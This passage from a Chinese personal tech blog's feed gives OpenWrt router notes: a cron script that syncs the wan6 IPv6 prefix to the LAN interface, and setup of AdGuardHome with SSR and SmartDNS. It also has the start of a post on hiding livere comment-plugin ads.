<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 获取wan6的pd前缀</span></span><br><span class="line">newpd=`ubus call network.interface.wan6 status |jq <span class="string">'.["ipv6-prefix"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`</span><br><span class="line"><span class="comment"># 获取lan口的ipv6地址</span></span><br><span class="line">lan_v6=`ubus call network.interface.lan status |jq <span class="string">'.["ipv6-address"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`</span><br><span class="line"><span class="comment"># 或者</span></span><br><span class="line">newpd=`ifstatus wan6|jq <span class="string">'.["ipv6-prefix"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`</span><br><span class="line">lan_v6=`ifstatus lan|jq <span class="string">'.["ipv6-address"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`</span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改lan口v6地址</span></span><br><span class="line">uci <span class="built_in">set</span> network.lan.ip6addr=<span class="string">'24xx:xxxx:xxx:xxxx::/64'</span></span><br><span class="line">uci commit network</span><br><span class="line">service network restart</span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断wan6 pd前缀是否应用到lan口,否则就更新wan6地址到lan口</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">"<span class="variable">$newpd</span>"</span> != <span class="string">"<span class="variable">$lan_v6</span>"</span> ];<span class="keyword">then</span> uci <span class="built_in">set</span> network.lan.ip6addr=<span class="variable">$newpd</span>;uci commit network;service network restart;<span class="keyword">fi</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#完整cron</span></span><br><span class="line"></span><br><span class="line">* * * * * newpd=`ifstatus wan6|jq <span class="string">'.["ipv6-prefix"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`;lan_v6=`ifstatus lan|jq <span class="string">'.["ipv6-address"][0]'</span> | jq -r <span class="string">'"\(.address)\/\(.mask)"'</span>`;<span class="keyword">if</span> [ <span class="string">"<span class="variable">$newpd</span>"</span> != <span class="string">"<span class="variable">$lan_v6</span>"</span> ];<span class="keyword">then</span> uci <span class="built_in">set</span> network.lan.ip6addr=<span class="variable">$newpd</span>;uci commit network;service network restart;<span class="keyword">fi</span></span><br></pre></td></tr></table></figure>
<p>相关参考:<br><a href="https://openwrt.org/zh/docs/guide-user/base-system/uci">https://openwrt.org/zh/docs/guide-user/base-system/uci</a></p>
<a id="more"></a>
<h3 id="Adguardhome与SSR共存"><a href="#Adguardhome与SSR共存" class="headerlink" title="Adguardhome与SSR共存"></a>Adguardhome与SSR共存</h3><p>adguardhome直接从源安装的不稳定,容易卡死,先下载luci包,然后通过页面上的更新功能来安装adguardhome核心</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">https://github.com/rufengsuixing/luci-app-adguardhome/releases/download/1.8-9/luci-app-adguardhome_1.8-9_all.ipk</span><br></pre></td></tr></table></figure>
<p>ssr作为fq网关时,dns解析依赖dnsmasq,所以dns解析必须经过dnsmasq(有特殊情况,就是ssr DNS解析方式选择”使用本机端口为5335的DNS服务”的时候,不需要,属于高级玩法啦,此处不讨论)。<br>为了让adguardhome显示内网ip而不是127.0.0.1,要把adguardhome监听53端口,然后上游设置为dnsmasq,dnsmasq上游设置为smartdns</p>
<p>client -> adguardhome 53 -> dnsmasq 53503 -> smartdns 6053 -> internet dns</p>
<p>以下引用恩山网友的测试记录:<br>dns重定向</p>
<ul>
<li>作为dnsmasq的上游服务器(在AGH中统计到的ip都为127.0.0.1,无法统计客户端及对应调整设置,乳酸菌饮料-plus正常)</li>
<li>重定向53端口到 AdGuardHome(ipv6需要开启ipv6 nat redirect 否则如果客户端使用ipv6过滤无效,不以dnsmasq为上游乳酸菌饮料-plus失效)</li>
<li>使用53端口替换 dnsmasq(需要设置AGH的dnsip为0.0.0.0, AGH和dnsmasq的端口将被交换,不以dnsmasq为上游乳酸菌饮料-plus失效)</li>
</ul>
<p>官方说法:<br><a href="https://github.com/rufengsuixing/luci-app-adguardhome">https://github.com/rufengsuixing/luci-app-adguardhome</a><br>关于ssr配合<br>方法一gfw代理:dns重定向-作为dnsmasq的上游服务器<br>方法二gfw代理:手动设置adh上游dns为自己即127.0.0.1:[自己监听的端口],然后使用 dns重定向-使用53端口替换dnsmasq,(因为端口互换后就是dnsmasq为上游了)<br>方法三国外ip代理:任意重定向方式,adh加入gfw列表,开启计划任务定时更新gfw即可</p>
<h3 id="安装SmartDNS"><a href="#安装SmartDNS" class="headerlink" title="安装SmartDNS"></a>安装SmartDNS</h3><p>SmartDNS使用起来效果确实不错的,建议安装。<br>下载luci-app-smartdns,太新的貌似不兼容,下了个20年的可以</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">https://github.com/pymumu/smartdns/releases/download/Release33/luci-app-smartdns.1.2020.09.08-2235.all-luci-compat-all.ipk</span><br></pre></td></tr></table></figure>
<p>下载本体:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">https://github.com/pymumu/smartdns/releases/download/Release40/smartdns.1.2023.01.02-1537.x86_64-openwrt-all.ipk</span><br></pre></td></tr></table></figure>
<p>opkg install xxx 安装<br>然后重启openwrt,可看到菜单有smartdns</p>
<h3 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h3><p>光猫桥接配置、IPTV 单线复用、异地组网请看下文:<br><a href="https://r0yanx.com/2023/01/25/%E8%AE%B0%E5%AE%B6%E5%BA%AD%E7%BD%91%E7%BB%9C%E7%BB%84%E7%BD%91/">https://r0yanx.com/2023/01/25/%E8%AE%B0%E5%AE%B6%E5%BA%AD%E7%BD%91%E7%BB%9C%E7%BB%84%E7%BD%91/</a></p>
<h3 id="后续持续更新…"><a href="#后续持续更新…" class="headerlink" title="后续持续更新…"></a>后续持续更新…</h3>]]></content>
<categories>
<category>折腾</category>
</categories>
<tags>
<tag>折腾</tag>
</tags>
</entry>
<entry>
<title>livere去除韩文广告</title>
<url>/2022/09/16/livere%E5%8E%BB%E9%99%A4%E9%9F%A9%E6%96%87%E5%B9%BF%E5%91%8A/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>今天打开博客发现评论下面居然有广告,经过简单排查发现广告来着评论插件livere,这里简单记录一下去广告的过程。</p>
<h3 id="去广告"><a href="#去广告" class="headerlink" title="去广告"></a>去广告</h3><p>广告是这样子的,在评论下方<br><img data-src="/2022/09/16/livere%E5%8E%BB%E9%99%A4%E9%9F%A9%E6%96%87%E5%B9%BF%E5%91%8A/2022-09-16-16-36-08.png"></p>
<a id="more"></a>
<p>简单搜索一下,找到解决方法,原理是屏蔽掉某个div<br><img data-src="/2022/09/16/livere%E5%8E%BB%E9%99%A4%E9%9F%A9%E6%96%87%E5%B9%BF%E5%91%8A/2022-09-16-16-37-28.png"></p>